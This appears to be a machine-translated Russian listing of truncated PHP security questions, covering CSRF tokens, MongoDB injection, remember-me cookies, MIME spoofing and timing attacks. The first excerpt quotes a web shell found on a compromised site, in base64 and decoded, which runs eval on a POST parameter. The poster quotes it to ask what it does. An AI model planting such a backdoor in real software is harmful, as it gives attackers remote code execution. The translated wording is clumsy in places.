Articles of security

Что делает eval на base64 закодированной переменной $ _POST ?

Хорошо, вот что я искал в Google: Кажется, есть загруженный файл с именем «image.php», который загружается в каталог qcubed. Этот файл image.php содержит следующий код base64: aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2VjaG8gJzMxMzkzNjJlMzIzMzMxMmQzMTM3MzIyZTMyMzgzYTY5NjY2MTYzNjU3MjZkNzA3NTYyNmQ2OTYzNjUzYTYxNjY2MTYzMzQzMjY1NzI2OTMwMzInOw== декодированный он добавляет к этому: if(isset($_POST['e'])) eval(base64_decode($_POST['e'])); echo '3139362e3233312d3137322e32383a6966616365726d7075626d6963653a6166616334326572693032'; В поисках исходной строки я нашел simillar qcubed уязвимости на других сайтах. Декодирование последней эхо-строки, которую я получил: 196.231-172.28:ifacermpubmice:afac42eri02 […]

Тонеры CSRF – как правильно реализовать?

Я только что установил простую CSRF-защиту в своем приложении. Он создает уникальную крошку, которая проверяется против значения сеанса при отправке формы. К сожалению, теперь это означает, что я не могу одновременно открывать несколько экземпляров (вкладки в браузере) моего приложения, когда крохи CSRF сталкиваются друг с другом. Должен ли я создать индивидуальный токен для каждой фактической […]

Проблемы безопасности при использовании драйвера PHP MongoDB

У меня есть опыт в обеспечении SQL-инъекций на MYSQL, но что я должен делать осторожным в MongoDB, используя php-драйвер? На большинстве страниц я получаю данные через GET / POST и поиск / вставку системы. Я ищу через UDID / другие поля и могу вставить любое строковое значение. Также я получаю файлы cookie пользователя через javascript. […]

Как проверить цифровую подпись с помощью openssl

Я использую услугу обработки кредитных карт третьей стороны (Paybox), которая после успешной транзакции перенаправляет обратно на сайт с подписью в URL как меру безопасности, чтобы люди не манипулировали данными. Он должен доказать, что запрос возник из этой службы. Таким образом, мой URL-адрес успеха выглядит примерно так: /success.php?signature=[HUGE HASH] Я не знаю, с чего начать с […]

Надежность Mimetypes в Uploads (PHP)

У меня был этот вопрос какое-то время: как точно определяется тип mime файла? Я считаю, что это делается путем проверки того, содержат ли определенные байты файла какие-либо известные магические числа / подписи файлов , правильно? Если это так, возникает другой вопрос: скажем, я загружаю скрипт bash с поддельной подписью файла GIF на веб-сайт, который позволяет […]

PHP: Запомнить меня и безопасность?

За время, которое я потратил на перерывы в изучении того, как PHP поддерживает Unicode, я вникал в то, что мои куки «Remember Me» были более безопасными. Однако есть несколько вещей, которые я не понимаю, и некоторые из моих собственных размышлений мне бы хотелось получить некоторые предложения и мнения. 1) Есть ли способ принять функцию «Запомнить […]

PHP «Помни меня», недостаток безопасности?

Я нахожусь в середине кодирования «запомненной мной» формы входа в систему, и до сих пор учебные пособия, которые я прочитал (частично, чтобы убедиться, что я делаю это правильно), все говорят, чтобы хранить зашифрованный пароль в cookie вдоль с именем пользователя. Затем каждый раз, когда PHP проверяет, не текут ли текущий пользователь, проверьте их файлы cookie […]

Разрешения для файлов; Должен ли мой контент в www-папке принадлежать www-data?

Это может быть вопрос о нобе, но он не может найти ответ нигде. У меня есть проблема, проблема с которой еще одна проблема с файлами помогла мне решить проблему ALMOST. Я создал пользователя в linux ( danny ), который имеет доступ к sudo. Я также создал новую группу, имя которой ТАКЖЕ является danny , и […]

Может ли случайный сон предотвратить временные атаки?

Из Википедии В криптографии временная атака представляет собой атаку бокового канала, в которой злоумышленник пытается скомпрометировать криптосистему, анализируя время, затраченное на выполнение криптографических алгоритмов. На самом деле, чтобы предотвратить временные атаки, я использую следующую функцию, взятую из этого ответа : function timingSafeCompare($safe, $user) { // Prevent issues if string length is 0 $safe .= chr(0); […]

Защита Magento CSRF

Я рассматриваю пользовательские формы в Magento. Я видел эти уроки http://fastdivision.com/2012/03/29/diy-magento-create-ajax-login-registration-forms-for-your-magento-theme/ Magento – Custom email contact form with notification system Я не видел упоминания о предотвращении CSRF, например, проверял токен клиента с сохраненным в сеансе пользователя. Я также посмотрел в форме Magento Contact Us и увидел это, но я не думаю, что это относится к […]